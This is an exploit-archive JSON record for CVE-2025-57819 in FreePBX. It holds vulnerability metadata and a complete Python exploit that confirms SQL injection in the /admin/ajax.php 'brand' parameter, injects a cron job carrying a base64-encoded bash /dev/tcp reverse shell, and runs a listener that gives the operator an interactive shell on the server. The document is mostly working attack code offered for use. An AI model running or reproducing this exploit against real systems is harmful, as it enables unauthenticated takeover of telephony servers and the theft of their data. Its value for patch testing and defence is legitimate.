{"exploit":{"id":"EDB-52681","name":"FreePBX 17.0.2 - Unauthenticated Remote Code Execution (RCE)","description":"FreePBX 17.0.2 - Unauthenticated Remote Code Execution (RCE)","cves":["CVE-2025-57819"],"author":"Jared Brits","published":"2026-09-03","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52681","path":"exploits/multiple/webapps/52681.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52681.py","vulnerabilities":[{"id":"CVE-2025-57819","state":"PUBLISHED","title":"FreePBX Affected by Authentication Bypass Leading to SQL Injection and RCE","titleSource":"CVE Program","description":"FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-57819","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-57819"},"updatedAt":"2026-02-26T17:47:51.014Z","retrievedAt":"2026-11-25T16:13:33.979Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52681.png?v=2","url":"https://exploitbin.com/exploits/EDB-52681","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52681/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52681/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: FreePBX 17.0.2 - Remote Code Execution\n# Date: 2026-08-12\n# Exploit Author: K3ysTr0K3R (Jared Brits)\n# Vendor Homepage: https://www.freepbx.org/\n# Software Link: https://github.com/FreePBX/freepbx\n# Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3\n# Tested on: Linux (Debian/Ubuntu) with Asterisk\n# CVE: CVE-2025-57819\n# CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass)\n# CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n# Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819\n# References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h\n#\n# Description:\n# CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the\n# Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the\n# /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries.\n#\n# An unauthenticated attacker can exploit this by sending a crafted GET request that injects\n# arbitrary SQL commands. Because the application uses stacked queries (multiple statements\n# separated by semicolons), an attacker can execute an INSERT statement to add a malicious\n# cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with\n# administrative privileges (typically as the Apache user), leading to full remote code\n# execution on the underlying server.\n#\n# The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89,\n# and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is\n# listed in CISA's Known Exploited Vulnerabilities catalog.\n#\n# This exploit automates the process by:\n# 1. Validating the target is vulnerable using an error-based SQLi detection.\n# 2. Starting a reverse shell listener on the attacker's machine.\n# 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi.\n# 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell.\n#\n# Usage:\n# python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444\n\nimport sys\nimport time\nimport requests\nimport urllib3\nimport socket\nimport threading\nimport base64\nimport argparse\nfrom rich.console import Console\n\nconsole = Console()\n\ndef banner():\n    console.print(\"[cyan]CVE-2025-57819 • FreePBX Unauth SQLi → RCE[/cyan]\")\n    console.print(\"[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]\")\n    console.print(\"[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]\")\n    print()\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef validate_sqli(target_url):\n    vuln_url = f\"{target_url.rstrip('/')}/admin/ajax.php\"\n    payload = \"x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -\"\n    params = {\n        'module': 'FreePBX\\\\modules\\\\endpoint\\\\ajax',\n        'command': 'model',\n        'template': 'x',\n        'model': 'model',\n        'brand': payload\n    }\n    try:\n        response = requests.get(vuln_url, params=params, verify=False, timeout=15)\n        if \"XPATH syntax error\" in response.text and \"freepbxuser\" in response.text:\n            console.print(\"[green][+][/green] Exploit path confirmed!\")\n            return True\n        else:\n            console.print(\"[red][-][/red] Target immune – no vulnerable signature detected.\")\n            return False\n    except Exception as e:\n        console.print(f\"[red][-][/red] Probe failed: {e}\")\n        return False\n\ndef start_listener(lhost, lport):\n    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    try:\n        server.bind((lhost, lport))\n    except Exception as e:\n        console.print(f\"[red][-][/red] Listener deployment failed: {e}\")\n        sys.exit(1)\n    server.listen(1)\n    console.print(f\"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...\")\n    client, addr = server.accept()\n    console.print(f\"[green][+][/green] Incoming shell session acquired from {addr}!\")\n\n    pty_attempts = [\n        b\"python3 -c 'import pty; pty.spawn(\\\"/bin/bash\\\")'\\n\",\n        b\"python -c 'import pty; pty.spawn(\\\"/bin/bash\\\")'\\n\",\n        b\"script -q /dev/null /bin/bash\\n\",\n    ]\n    for cmd in pty_attempts:\n        client.send(cmd)\n        time.sleep(0.5)\n    console.print(\"[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.\")\n\n    def reader():\n        while True:\n            try:\n                data = client.recv(4096)\n                if not data:\n                    break\n                sys.stdout.buffer.write(data)\n                sys.stdout.flush()\n            except:\n                break\n\n    recv_thread = threading.Thread(target=reader)\n    recv_thread.daemon = True\n    recv_thread.start()\n\n    try:\n        while True:\n            cmd = input()\n            if cmd.lower() == 'exit':\n                client.close()\n                break\n            client.send((cmd + \"\\n\").encode())\n    except (EOFError, KeyboardInterrupt):\n        print()\n        console.print(\"[yellow][!][/yellow] Forced session termination.\")\n        client.close()\n    except Exception as e:\n        console.print(f\"[red][-][/red] Channel error: {e}\")\n        client.close()\n    console.print(\"[blue][*][/blue] Remote session closed.\")\n\ndef exploit(target_url, lhost, lport):\n    banner()\n    console.print(f\"[blue][*][/blue] Target locked: {target_url}\")\n\n    listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))\n    listener_thread.daemon = True\n    listener_thread.start()\n    time.sleep(1)\n\n    if not validate_sqli(target_url):\n        console.print(\"[red][-][/red] Exploit aborted – target not vulnerable.\")\n        sys.exit(1)\n\n    shell_cmd = f\"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'\"\n    b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()\n    final_cmd = f\"echo '{b64_shell_cmd}' | base64 -d | bash\"\n    hex_payload = final_cmd.encode().hex()\n\n    sql_payload = (\n        f\"x' ;INSERT INTO cron_jobs \"\n        f\"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) \"\n        f\"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- \"\n    )\n\n    vuln_url = f\"{target_url.rstrip('/')}/admin/ajax.php\"\n    params = {\n        'module': 'FreePBX\\\\modules\\\\endpoint\\\\ajax',\n        'command': 'model',\n        'template': 'x',\n        'model': 'model',\n        'brand': sql_payload\n    }\n\n    console.print(\"[blue][*][/blue] Injecting payload into cron schedule...\")\n    try:\n        response = requests.get(vuln_url, params=params, verify=False, timeout=15)\n        if response.status_code in (200, 500):\n            console.print(f\"[green][+][/green] Payload planted successfully (server response: {response.status_code})\")\n            console.print(\"[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...\")\n        else:\n            console.print(f\"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.\")\n            console.print(response.text[:200])\n            sys.exit(1)\n    except Exception as e:\n        console.print(f\"[red][-][/red] Injection delivery failed: {e}\")\n        sys.exit(1)\n\n    console.print(f\"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...\")\n    listener_thread.join()\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"CVE-2025-57819 FreePBX Unauthenticated SQLi → RCE\")\n    parser.add_argument(\"-u\", \"--url\", required=True, help=\"Target URL (e.g., http://127.0.0.1)\")\n    parser.add_argument(\"--lhost\", required=True, help=\"Listener IP address\")\n    parser.add_argument(\"--lport\", type=int, required=True, help=\"Listener port\")\n    args = parser.parse_args()\n\n    exploit(args.url, args.lhost, args.lport)","sha256":"71a2f6ae1e8390acd01074646569192823a3f94d7ed518267ebf81ccc67f54ea","bytes":8005,"fetchedAt":"2026-11-25T10:17:06.594Z","encoding":"utf-8 (display only; download retains original bytes)"}